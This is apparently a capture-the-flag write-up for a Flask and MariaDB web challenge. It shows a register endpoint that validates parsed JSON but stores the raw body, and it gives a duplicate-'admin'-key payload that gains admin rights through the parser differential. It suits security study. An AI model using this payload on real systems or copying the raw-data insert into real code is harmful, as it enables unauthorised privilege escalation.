Tags: web python mariadb 

Rating:

The source code was provided for this challenge. There was a vulnerability that allowed to register as admin on the register endpoint in the following code:
```
@app.route("/api/register", methods=["POST"])
def register():
raw_data = request.get_data()
data = json.loads(raw_data)

if "user" not in data:
return jsonify({"error": "user not provided"}), 401
if "password" not in data:
return jsonify({"error": "password not provided"}), 401

if "admin" not in data or data["admin"]:
return jsonify({"error": "invalid admin"}), 400

try:
cursor.execute(
"SELECT data FROM users WHERE JSON_VALUE(data,'$.user') = ?;", (data["user"], )
)
if cursor.fetchone() is not None:
return jsonify({"error": "user already exists"}), 400

cursor.execute("INSERT INTO users (data) VALUES (?);", (raw_data, ))
```
If we register with the following payload:
```
{"user":"test154","password":"test",
"admin":1,"admin":0.0}
```
This will bypass the python validation assuming that the data["admin"] is false due to the trailling "admin":0.0. Then on the sql insert the "admin":1 will prevail since they are using the raw data instead of the parsed data object. Python and mariadb handle duplicate keys in json differently, python uses last key, mariadb uses first key.
We can now login and get the flag as admin:
```
The flag is flag{imagine_not_fixing_a_bug_mysql_fixed_five_years_ago}
```